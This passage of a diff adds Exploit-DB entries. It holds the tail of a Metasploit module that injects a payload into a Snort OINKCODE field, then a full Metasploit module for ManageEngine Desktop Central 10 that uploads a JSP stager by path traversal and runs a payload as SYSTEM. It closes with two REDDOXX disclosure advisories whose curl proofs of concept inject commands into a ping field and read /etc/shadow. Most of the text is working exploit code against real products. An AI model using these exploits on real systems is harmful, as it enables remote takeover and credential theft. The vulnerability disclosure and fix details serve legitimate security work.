'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||||
|
'headers' =>
|
||||||
|
{
|
||||||
|
'Referer' => "#{datastore['SSL'] ? 'https' : 'http'}://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/ids.cgi"
|
||||||
|
},
|
||||||
|
'vars_post' => {
|
||||||
|
'ENABLE_SNORT_GREEN' => 'on',
|
||||||
|
'ENABLE_SNORT' => 'on',
|
||||||
|
'RULES' => 'registered',
|
||||||
|
'OINKCODE' => "`#{payload.encoded}`",
|
||||||
|
'ACTION' => 'Download new ruleset',
|
||||||
|
'ACTION2' => 'snort'
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
# success means we hang our session, and wont get back a response, so just check we get a response back
|
||||||
|
if res && res.code != 200
|
||||||
|
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})")
|
||||||
|
end
|
||||||
|
rescue ::Rex::ConnectionError
|
||||||
|
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
230
platforms/java/webapps/42358.rb
Executable file
230
platforms/java/webapps/42358.rb
Executable file
|
|
@ -0,0 +1,230 @@
|
||||||
|
# Exploit Title: ManageEngine Desktop Central 10 Build 100087 RCE
|
||||||
|
# Date: 24-07-2017
|
||||||
|
# Software Link: https://www.manageengine.com/products/desktop-central/
|
||||||
|
# Exploit Author: Kacper Szurek
|
||||||
|
# Contact: https://twitter.com/KacperSzurek
|
||||||
|
# Website: https://security.szurek.pl/
|
||||||
|
# CVE: CVE-2017-11346
|
||||||
|
# Category: remote
|
||||||
|
|
||||||
|
1. Description
|
||||||
|
|
||||||
|
When uploading a file, the `FileUploadServlet` class does not check the user-controlled `fileName` parameter using `hasVulnerabilityInFileName` function.
|
||||||
|
|
||||||
|
This allows a remote attacker to create a malicious file and place it under a directory that allows server-side scripts to run, which results in remote code execution under the context of SYSTEM.
|
||||||
|
|
||||||
|
https://security.szurek.pl/manageengine-desktop-central-10-build-100087-rce.html
|
||||||
|
|
||||||
|
2. Proof of Concept
|
||||||
|
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'nokogiri'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => "ManageEngine Desktop Central 10 FileUploadServlet fileName RCE Vulnerability",
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a vulnerability found in ManageEngine Desktop Central 10. When
|
||||||
|
uploading a file, the FileUploadServlet class does not check the user-controlled
|
||||||
|
fileName parameter. This allows a remote attacker to create a malicious file and place
|
||||||
|
it under a directory that allows server-side scripts to run,
|
||||||
|
which results in remote code execution under the context of SYSTEM.
|
||||||
|
|
||||||
|
This exploit was successfully tested on version 10, build 100087.
|
||||||
|
|
||||||
|
Exploit code based on https://www.exploit-db.com/exploits/38982/
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [ 'Kacper Szurek' ],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'URL', 'https://security.szurek.pl/manageengine-desktop-central-10-build-100087-rce.html' ]
|
||||||
|
],
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'ManageEngine Desktop Central 10 on Windows', {} ]
|
||||||
|
],
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'BadChars' => "\x00"
|
||||||
|
},
|
||||||
|
'Privileged' => false,
|
||||||
|
'DisclosureDate' => "July 24 2017",
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('TARGETURI', [true, 'The base path for ManageEngine Desktop Central', '/']),
|
||||||
|
Opt::RPORT(8020)
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def jsp_drop_bin(bin_data, output_file)
|
||||||
|
jspraw = %Q|<%@ page import="java.io.*" %>\n|
|
||||||
|
jspraw << %Q|<%\n|
|
||||||
|
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
|
||||||
|
|
||||||
|
jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
|
||||||
|
|
||||||
|
jspraw << %Q|int numbytes = data.length();\n|
|
||||||
|
|
||||||
|
jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
|
||||||
|
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
|
||||||
|
jspraw << %Q|{\n|
|
||||||
|
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|
|
||||||
|
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|
|
||||||
|
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|
|
||||||
|
jspraw << %Q| comb <<= 4;\n|
|
||||||
|
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
|
||||||
|
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
|
||||||
|
jspraw << %Q|}\n|
|
||||||
|
|
||||||
|
jspraw << %Q|outputstream.write(bytes);\n|
|
||||||
|
jspraw << %Q|outputstream.close();\n|
|
||||||
|
jspraw << %Q|%>\n|
|
||||||
|
|
||||||
|
jspraw
|
||||||
|
end
|
||||||
|
|
||||||
|
def jsp_execute_command(command)
|
||||||
|
jspraw = %Q|<%@ page import="java.io.*" %>\n|
|
||||||
|
jspraw << %Q|<%\n|
|
||||||
|
jspraw << %Q|try {\n|
|
||||||
|
jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n|
|
||||||
|
jspraw << %Q|} catch (IOException ioe) { }\n|
|
||||||
|
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
|
||||||
|
jspraw << %Q|%>\n|
|
||||||
|
|
||||||
|
jspraw
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_jsp_stager
|
||||||
|
exe = generate_payload_exe(code: payload.encoded)
|
||||||
|
jsp_fname = "#{Rex::Text.rand_text_alpha(5)}.jsp"
|
||||||
|
|
||||||
|
register_files_for_cleanup("../webapps/DesktopCentral/jspf/#{jsp_fname}")
|
||||||
|
|
||||||
|
{
|
||||||
|
jsp_payload: jsp_drop_bin(exe, jsp_fname) + jsp_execute_command(jsp_fname),
|
||||||
|
jsp_name: jsp_fname
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_build_number(res)
|
||||||
|
inputs = res.get_hidden_inputs
|
||||||
|
inputs.first['buildNum']
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_html_title(res)
|
||||||
|
html = res.body
|
||||||
|
n = ::Nokogiri::HTML(html)
|
||||||
|
x = n.xpath('//title').text
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
uri = normalize_uri(target_uri.path, '/configurations.do')
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => uri
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res
|
||||||
|
print_error("Connection timed out")
|
||||||
|
return Exploit::CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
build_number = get_build_number(res)
|
||||||
|
if build_number.to_s.empty?
|
||||||
|
print_error("Cannot find build number")
|
||||||
|
else
|
||||||
|
print_status("Found build number: #{build_number}")
|
||||||
|
end
|
||||||
|
|
||||||
|
html_title = get_html_title(res)
|
||||||
|
|
||||||
|
if html_title.to_s.empty?
|
||||||
|
print_error("Cannot find title")
|
||||||
|
else
|
||||||
|
print_status("Found title: #{html_title}")
|
||||||
|
end
|
||||||
|
|
||||||
|
if build_number.to_i <= 100087
|
||||||
|
return Exploit::CheckCode::Appears
|
||||||
|
elsif /ManageEngine Desktop Central 10/ === html_title
|
||||||
|
return Exploit::CheckCode::Detected
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def upload_jsp(stager_info)
|
||||||
|
uri = normalize_uri(target_uri.path, 'fileupload')
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => uri,
|
||||||
|
'ctype' => 'application/octet-stream',
|
||||||
|
'encode_params' => false,
|
||||||
|
'data' => stager_info[:jsp_payload],
|
||||||
|
'vars_get' => {
|
||||||
|
'action' => 'HelpDesk_video',
|
||||||
|
'computerName' => Rex::Text.rand_text_alpha(rand(10)+5),
|
||||||
|
'resourceId' => 1,
|
||||||
|
'customerId' => 1,
|
||||||
|
'fileName' => "\\..\\..\\..\\..\\jspf\\#{stager_info[:jsp_name]}"
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
if res.nil?
|
||||||
|
fail_with(Failure::Unknown, "Connection timed out while uploading to #{uri}")
|
||||||
|
elsif res && res.code != 200
|
||||||
|
fail_with(Failure::Unknown, "The server returned #{res.code}, but 200 was expected.")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exec_jsp(stager_info)
|
||||||
|
uri = normalize_uri(target_uri.path, "/jspf/#{stager_info[:jsp_name]}")
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => uri
|
||||||
|
})
|
||||||
|
|
||||||
|
if res.nil?
|
||||||
|
fail_with(Failure::Unknown, "Connection timed out while executing #{uri}")
|
||||||
|
elsif res && res.code != 200
|
||||||
|
fail_with(Failure::Unknown, "Failed to execute #{uri}. Server returned #{res.code}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
print_status("Creating JSP stager")
|
||||||
|
stager_info = get_jsp_stager
|
||||||
|
|
||||||
|
print_status("Uploading JSP stager #{stager_info[:jsp_name]}...")
|
||||||
|
upload_jsp(stager_info)
|
||||||
|
|
||||||
|
print_status("Executing stager...")
|
||||||
|
exec_jsp(stager_info)
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
3. Solution:
|
||||||
|
|
||||||
|
https://www.manageengine.com/products/desktop-central/remote-code-execution.html
|
||||||
187
platforms/json/webapps/42371.txt
Executable file
187
platforms/json/webapps/42371.txt
Executable file
|
|
@ -0,0 +1,187 @@
|
||||||
|
Advisory: Remote Command Execution as root in REDDOXX Appliance
|
||||||
|
|
||||||
|
RedTeam Pentesting discovered a remote command execution vulnerability
|
||||||
|
in the REDDOXX appliance software, which allows attackers to execute
|
||||||
|
arbitrary command with root privileges while unauthenticated.
|
||||||
|
|
||||||
|
Details
|
||||||
|
=======
|
||||||
|
|
||||||
|
Product: REDDOXX Appliance
|
||||||
|
Affected Versions: <= Build 2032 / v2.0.625
|
||||||
|
Fixed Versions: Version 2032 SP2
|
||||||
|
Vulnerability Type: Remote Command Execution
|
||||||
|
Security Risk: high
|
||||||
|
Vendor URL: https://www.reddoxx.com/
|
||||||
|
Vendor Status: patch available
|
||||||
|
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-009
|
||||||
|
Advisory Status: published
|
||||||
|
CVE: GENERIC-MAP-NOMATCH
|
||||||
|
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH
|
||||||
|
|
||||||
|
Introduction
|
||||||
|
============
|
||||||
|
|
||||||
|
"REDDOXX is a leading supplier of solutions for e-mail archiving,
|
||||||
|
encrypted and digitally signed e-mail traffic as well as spam
|
||||||
|
protection. Our focus is on technological innovation: taking our cue
|
||||||
|
from our clientsâ?? requirements our competent and quality-conscious
|
||||||
|
employees strive to offer you the best possible products at all times.
|
||||||
|
Using stringent quality standards and proven processes we keep
|
||||||
|
developing our company and products continuously, with the goal of
|
||||||
|
continuous improvement."
|
||||||
|
|
||||||
|
(from the vendor's homepage)
|
||||||
|
|
||||||
|
More Details
|
||||||
|
============
|
||||||
|
|
||||||
|
The administrative interface of the REDDOXX appliance [0] offers several
|
||||||
|
diagnostic tools in the "Diagnostic Center". Ping is one of these tools.
|
||||||
|
The interface for this tool contains two input fields, which allow users
|
||||||
|
to specify a target host and a packet count. Through the ISO provided on
|
||||||
|
the vendor's homepage [1], it was possible to analyze how these commands
|
||||||
|
are embedded into the command-line of the ping command:
|
||||||
|
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
|
||||||
|
function ExecuteDiag($parameter)
|
||||||
|
{
|
||||||
|
// Here we do the main thing ...
|
||||||
|
$cmd = "ping '" . $parameter->targetHost . "' -c " . $parameter->count;
|
||||||
|
|
||||||
|
$this->PrintHeader();
|
||||||
|
$this->PrintHeadLine(array('Result Message', 'Status'));
|
||||||
|
$this->PrintOut("<tr>");
|
||||||
|
|
||||||
|
$this->PrintOut("<td class=mytd><PRE>");
|
||||||
|
passthru($cmd, $rc);
|
||||||
|
$this->PrintOut("</PRE></td>");
|
||||||
|
|
||||||
|
$this->PrintStatus($rc);
|
||||||
|
$this->PrintOut("</tr>");
|
||||||
|
$this->PrintEnd();
|
||||||
|
|
||||||
|
$result = new stdClass;
|
||||||
|
$result->ResultCode = $rc;
|
||||||
|
$result->MessageText = "";
|
||||||
|
|
||||||
|
$this->SaveResult($result);
|
||||||
|
}
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
|
||||||
|
As can be seen in the listing above, the parameters are embedded into a
|
||||||
|
string stored in the variable $cmd. The target host parameter is
|
||||||
|
surrounded with single quotes, while the count parameter is not.
|
||||||
|
|
||||||
|
Before the parameters are actually embedded into the ping command-line
|
||||||
|
however, the following function performs a check for "illegal
|
||||||
|
characters":
|
||||||
|
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
|
||||||
|
public static function CheckShellParameter($parameter, $key = "")
|
||||||
|
{
|
||||||
|
if (!is_array($parameter))
|
||||||
|
$parameter = array($parameter);
|
||||||
|
|
||||||
|
foreach ($parameter as $value) {
|
||||||
|
if (preg_match("/[';<>\"]/", $value)) {
|
||||||
|
$paramNameMsg = "";
|
||||||
|
if ($key)
|
||||||
|
$paramNameMsg = " in parameter '$key'";
|
||||||
|
throw new Exception("Invalid value" . $paramNameMsg . ". Illegal characters found.", 1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
|
||||||
|
These are characters, which can be used to append additional commands to
|
||||||
|
the command line. While this check prevents certain kinds of attacks, it
|
||||||
|
is incomplete and can therefore be bypassed. For example, && (AND) and
|
||||||
|
|| (OR) operators can still be used to append additional commands to the
|
||||||
|
command-line. Submitting a count target host of "127.0.0.1" and a count
|
||||||
|
of "1 || id" leads to the following command-line being passed to the PHP
|
||||||
|
passthru() function and executed:
|
||||||
|
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
|
||||||
|
ping '127.0.0.1' -c 1 || id
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
|
||||||
|
This causes the command "id" to be executed after the execution of the
|
||||||
|
ping command is completed.
|
||||||
|
|
||||||
|
Proof of Concept
|
||||||
|
================
|
||||||
|
|
||||||
|
The following curl command-lines can be used to trigger the
|
||||||
|
vulnerability.
|
||||||
|
|
||||||
|
First, the diagnose function ping is called as follows:
|
||||||
|
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
|
||||||
|
$ curl -H 'Content-Type: application/json' --data '{"Name":"Ping",''"Parameter":{"targetHost":"127.0.0.1","count":"1''&& echo 'REDTEAM_MARKER_START' && id && echo 'REDTEAM_MARKER_END'"}}' http://www.example.com/api/v1/rws/diagnose/start
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Here, the count parameter "1 && echo 'REDTEAM_MARKER_START' && id && echo
|
||||||
|
'REDTEAM_MARKER_END'" is submitted. The two echo commands with markers are
|
||||||
|
only used to distinguish the output of the "id" command in the final
|
||||||
|
result, which can be retrieved and displayed using the following curl
|
||||||
|
command-line:
|
||||||
|
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
|
||||||
|
$ curl --silent -H 'Accept: application/json' http://www.example.com/api/v1/rws/diagnose/result/Ping | jq .Output | sed 's;.*REDTEAM_MARKER_START\\n\(.*\)\\nREDTEAM_MARKER_END.*;\1;' | sed 's/\\n/\n/g'
|
||||||
|
uid=0(root) gid=0(root) groups=0(root)
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Workaround
|
||||||
|
==========
|
||||||
|
|
||||||
|
None
|
||||||
|
|
||||||
|
Fix
|
||||||
|
===
|
||||||
|
|
||||||
|
Update the appliance software to Version 2032 SP2.
|
||||||
|
|
||||||
|
Security Risk
|
||||||
|
=============
|
||||||
|
|
||||||
|
The diagnostic functions offered by the REDDOXX appliance allow attackers
|
||||||
|
to execute arbitrary commands. Since the commands are executed with root
|
||||||
|
privileges and no authentication is required, this is rated as a high
|
||||||
|
risk.
|
||||||
|
|
||||||
|
Timeline
|
||||||
|
========
|
||||||
|
|
||||||
|
2017-05-17 Vulnerability identified
|
||||||
|
2017-05-23 Customer approved disclosure of vulnerability
|
||||||
|
2017-05-26 Customer provided details of vulnerability to vendor
|
||||||
|
2017-07-20 Vulnerability reported as fixed by vendor
|
||||||
|
2017-07-24 Advisory released
|
||||||
|
|
||||||
|
References
|
||||||
|
==========
|
||||||
|
|
||||||
|
[0] https://www.reddoxx.com/en/
|
||||||
|
[1] https://my.reddoxx.com/documents/manual/en/custdl/product-downloads
|
||||||
|
(Requires login)
|
||||||
|
|
||||||
|
RedTeam Pentesting GmbH
|
||||||
|
=======================
|
||||||
|
|
||||||
|
RedTeam Pentesting offers individual penetration tests performed by a
|
||||||
|
team of specialised IT-security experts. Hereby, security weaknesses in
|
||||||
|
company networks or products are uncovered and can be fixed immediately.
|
||||||
|
|
||||||
|
As there are only few experts in this field, RedTeam Pentesting wants to
|
||||||
|
share its knowledge and enhance the public knowledge with research in
|
||||||
|
security-related areas. The results are made available as public
|
||||||
|
security advisories.
|
||||||
|
|
||||||
|
More information about RedTeam Pentesting can be found at:
|
||||||
|
https://www.redteam-pentesting.de/
|
||||||
261
platforms/json/webapps/42372.txt
Executable file
261
platforms/json/webapps/42372.txt
Executable file
|
|
@ -0,0 +1,261 @@
|
||||||
|
Advisory: Arbitrary File Disclosure with root Privileges via RdxEngine-API in REDDOXX Appliance
|
||||||
|
|
||||||
|
RedTeam Pentesting discovered an arbitrary file disclosure vulnerability
|
||||||
|
in the REDDOXX appliance software, which allows unauthenticated
|
||||||
|
attackers to list directory contents and download arbitrary files from
|
||||||
|
the affected system with root permissions.
|
||||||
|
|
||||||
|
Details
|
||||||
|
=======
|
||||||
|
|
||||||
|
Product: REDDOXX Appliance
|
||||||
|
Affected Versions: Build 2032 / v2.0.625, older versions likely affected too
|
||||||
|
Fixed Versions: Version 2032 SP2
|
||||||
|
Vulnerability Type: Arbitrary File Disclosure
|
||||||
|
Security Risk: high
|
||||||
|
Vendor URL: https://www.reddoxx.com/
|
||||||
|
Vendor Status: patch available
|
||||||
|
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-006
|
||||||
|
Advisory Status: published
|
||||||
|
CVE: GENERIC-MAP-NOMATCH
|
||||||
|
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH
|
||||||
|
|
||||||
|
Introduction
|
||||||
|
============
|
||||||
|
|
||||||
|
"REDDOXX is a leading supplier of solutions for e-mail archiving,
|
||||||
|
encrypted and digitally signed e-mail traffic as well as spam
|
||||||
|
protection. Our focus is on technological innovation: taking our cue
|
||||||
|
from our clientsâ?? requirements our competent and quality-conscious
|
||||||
|
employees strive to offer you the best possible products at all times.
|
||||||
|
Using stringent quality standards and proven processes we keep
|
||||||
|
developing our company and products continuously, with the goal of
|
||||||
|
continuous improvement."
|
||||||
|
|
||||||
|
(from the vendor's homepage)
|
||||||
|
|
||||||
|
More Details
|
||||||
|
============
|
||||||
|
|
||||||
|
When using the user frontend of the REDDOXX appliance [0] reachable via
|
||||||
|
http://www.example.com/rws/user/, HTTP POST requests are used to perform
|
||||||
|
certain actions. For example, the following request is used to save the
|
||||||
|
settings of the current user's profile:
|
||||||
|
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
|
||||||
|
POST /RdxEngine/json HTTP/1.1
|
||||||
|
Host: www.example.com
|
||||||
|
[...]
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
Content-Length: 210
|
||||||
|
Connection: close
|
||||||
|
|
||||||
|
{
|
||||||
|
"method": "CoreService.SaveUserProfile",
|
||||||
|
"params": {
|
||||||
|
"Profile": {
|
||||||
|
"UseHtmlMail": true,
|
||||||
|
"DefaultArchiveDisplayPeriode": "5",
|
||||||
|
"ReportLanguage": "en",
|
||||||
|
"EnableQueueReport": true
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"id": "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}"
|
||||||
|
}
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Through analysis of the .NET binaries pertaining to this endpoint,
|
||||||
|
extracted from the appliance ISO offered on the vendor's homepage [1],
|
||||||
|
the methods handling these requests were examined. For the
|
||||||
|
"SaveUserProfile" method, which is specified through the POST parameter
|
||||||
|
"method", the code is as follows:
|
||||||
|
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
|
||||||
|
// Reddoxx.Api.Legacy.CoreServiceService
|
||||||
|
public void SaveUserProfile(TRoUserProfile Profile)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
this.client.OnStartRequest("CoreService", "SaveUserProfile");
|
||||||
|
this.Service.SaveUserProfile(Profile);
|
||||||
|
this.client.OnEndRequest("CoreService", "SaveUserProfile");
|
||||||
|
}
|
||||||
|
catch (System.Exception e)
|
||||||
|
{
|
||||||
|
this.client.HandleException("CoreService", "SaveUserProfile", e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
|
||||||
|
The "TroUserProfile" class contains information about the parameters
|
||||||
|
that are required for valid requests to this method:
|
||||||
|
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
|
||||||
|
namespace Reddoxx.Api.Legacy
|
||||||
|
{
|
||||||
|
[...]
|
||||||
|
public class TRoUserProfile : ComplexType
|
||||||
|
{
|
||||||
|
private string __ReportLanguage;
|
||||||
|
|
||||||
|
private int __DefaultArchiveDisplayPeriode;
|
||||||
|
|
||||||
|
private bool __EnableQueueReport;
|
||||||
|
|
||||||
|
private bool __UseHtmlMail;
|
||||||
|
|
||||||
|
[...]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
|
||||||
|
These variable names correspond to the POST parameters contained in the
|
||||||
|
request that was created when the profile was saved. With this knowledge
|
||||||
|
about how methods are called and parameters are passed, it was attempted
|
||||||
|
to call other methods from different packages. It was determined that it
|
||||||
|
is possible to access certain methods which allow reading arbitrary
|
||||||
|
files and directory listings.
|
||||||
|
|
||||||
|
It was later discovered that the process handling requests to the
|
||||||
|
vulnerable methods runs with root privileges.
|
||||||
|
|
||||||
|
Proof of Concept
|
||||||
|
================
|
||||||
|
|
||||||
|
At least two methods are found to be of interest for attackers:
|
||||||
|
FileTransfer.GetDirectoryList, which returns a directory listing for a
|
||||||
|
path specified via a parameter, and FileTransfer.DownloadFile, which
|
||||||
|
returns the file specified via a parameter in Base64-encoded form. The
|
||||||
|
following curl command-lines can be used to call the respective methods:
|
||||||
|
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
|
||||||
|
$ curl --silent --data-binary '{"id":"{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}",''"method":"FileTransfer
|
||||||
|
.GetDirectoryList","params":{"Directory": "/etc/"}}' 'http://www.example.com/RdxEngine/json' | jq '.result.FileInfoList[].FileName'
|
||||||
|
"chatscripts"
|
||||||
|
"gtk-2.0"
|
||||||
|
"xen"
|
||||||
|
"dbus-1"
|
||||||
|
"request-key.d"
|
||||||
|
"smartmontools"
|
||||||
|
"console"
|
||||||
|
"skel"
|
||||||
|
"xml"
|
||||||
|
"initramfs-tools"
|
||||||
|
"sysctl.d"
|
||||||
|
"pear"
|
||||||
|
"sudoers.d"
|
||||||
|
"cron.monthly"
|
||||||
|
"rc5.d"
|
||||||
|
"init"
|
||||||
|
"byobu"
|
||||||
|
"pki"
|
||||||
|
"xpdf"
|
||||||
|
"cron.weekly"
|
||||||
|
"snmp"
|
||||||
|
"ld.so.conf.d"
|
||||||
|
[...]
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Since the process handling the requests runs with root privileges, it
|
||||||
|
was also possible to read the contents of the file "/etc/passwd":
|
||||||
|
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
|
||||||
|
$ curl --silent --data-binary '{"id":"{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}",''"method":"FileTransfer
|
||||||
|
.DownloadFile","params":{"FileName": "/etc/shadow",''"Sequence": 1,"ChunkSize": 10000}}' 'http://www.example.com/RdxEngine/json' | jq -r .result.ChunkData | tr -d '\r\n' | base64 -d
|
||||||
|
root:$6$XXXXXXXX$YYYYYYY[...]YYYYYYYY:14993:0:99999:7:::
|
||||||
|
daemon:*:16652:0:99999:7:::
|
||||||
|
bin:*:16652:0:99999:7:::
|
||||||
|
sys:*:16652:0:99999:7:::
|
||||||
|
sync:*:16652:0:99999:7:::
|
||||||
|
games:*:16652:0:99999:7:::
|
||||||
|
man:*:16652:0:99999:7:::
|
||||||
|
lp:*:16652:0:99999:7:::
|
||||||
|
mail:*:16652:0:99999:7:::
|
||||||
|
news:*:16652:0:99999:7:::
|
||||||
|
uucp:*:16652:0:99999:7:::
|
||||||
|
proxy:*:16652:0:99999:7:::
|
||||||
|
www-data:*:16652:0:99999:7:::
|
||||||
|
backup:*:16652:0:99999:7:::
|
||||||
|
list:*:16652:0:99999:7:::
|
||||||
|
irc:*:16652:0:99999:7:::
|
||||||
|
gnats:*:16652:0:99999:7:::
|
||||||
|
nobody:*:16652:0:99999:7:::
|
||||||
|
libuuid:!:16652:0:99999:7:::
|
||||||
|
syslog:*:16652:0:99999:7:::
|
||||||
|
messagebus:*:16899:0:99999:7:::
|
||||||
|
sshd:*:16899:0:99999:7:::
|
||||||
|
vboxadd:!:16899::::::
|
||||||
|
statd:*:16899:0:99999:7:::
|
||||||
|
admin:$1$XXXXXXXX$ZZZZZZZZZZZZZZZZZZZZZZ:14054:0:99999:7:::
|
||||||
|
clamav:!:16899:0:99999:7:::
|
||||||
|
ntp:*:16899:0:99999:7:::
|
||||||
|
hacluster:!:16899:0:99999:7:::
|
||||||
|
firebird:*:16899:0:99999:7:::
|
||||||
|
redis:!:16899:0:99999:7:::
|
||||||
|
snmp:*:16899:0:99999:7:::
|
||||||
|
bind:*:16899:0:99999:7:::
|
||||||
|
smbadmin:!:17037:0:99999:7:::
|
||||||
|
smbuser:!:17037:0:99999:7:::
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Workaround
|
||||||
|
==========
|
||||||
|
|
||||||
|
None
|
||||||
|
|
||||||
|
Fix
|
||||||
|
===
|
||||||
|
|
||||||
|
Update the appliance software to Version 2032 SP2.
|
||||||
|
|
||||||
|
Security Risk
|
||||||
|
=============
|
||||||
|
|
||||||
|
Attackers with access to a REDDOXX appliance are able to retrieve
|
||||||
|
directory listings and content of arbitrary files. Although this
|
||||||
|
vulnerability requires attackers to submit a valid session ID, the
|
||||||
|
vulnerabilities described in rt-sa-2017-004 [2] and rt-sa-2017-005 [3]
|
||||||
|
show how this requirement can be fulfilled even by attackers without
|
||||||
|
valid credentials. Additionally, the RdxEngine process handling the
|
||||||
|
requests to the vulnerable methods runs with root privileges, allowing
|
||||||
|
attackers to read any file on the filesystem and, for example, extract
|
||||||
|
the local user hashes for offline brute-force attacks. This
|
||||||
|
vulnerability is therefore rated as a high risk.
|
||||||
|
|
||||||
|
Timeline
|
||||||
|
========
|
||||||
|
|
||||||
|
2017-05-17 Vulnerability identified
|
||||||
|
2017-05-23 Customer approved disclosure of vulnerability
|
||||||
|
2017-05-26 Customer provided details of vulnerability to vendor
|
||||||
|
2017-07-20 Vulnerability reported as fixed by vendor
|
||||||
|
2017-07-24 Advisory released
|
||||||
|
|
||||||
|
References
|
||||||
|
==========
|
||||||
|
|
||||||
|
[0] https://www.reddoxx.com/en/
|
||||||
|
[1] https://my.reddoxx.com/documents/manual/en/custdl/product-downloads
|
||||||
|
(Requires login)
|
||||||
|
[2] https://www.redteam-pentesting.de/advisories/rt-sa-2017-004
|
||||||
|
[3] https://www.redteam-pentesting.de/advisories/rt-sa-2017-005
|
||||||
|
|
||||||
|
RedTeam Pentesting GmbH
|
||||||
|
=======================
|
||||||
|
|
||||||
|
RedTeam Pentesting offers individual penetration tests performed by a
|
||||||
|
team of specialised IT-security experts. Hereby, security weaknesses in
|
||||||
|
company networks or products are uncovered and can be fixed immediately.
|
||||||
|
|
||||||
|
As there are only few experts in this field, RedTeam Pentesting wants to
|
||||||
|
share its knowledge and enhance the public knowledge with research in
|
||||||
|
security-related areas. The results are made available as public
|
||||||
|
security advisories.
|
||||||
|
|
||||||
|
More information about RedTeam Pentesting can be found at:
|
||||||
|
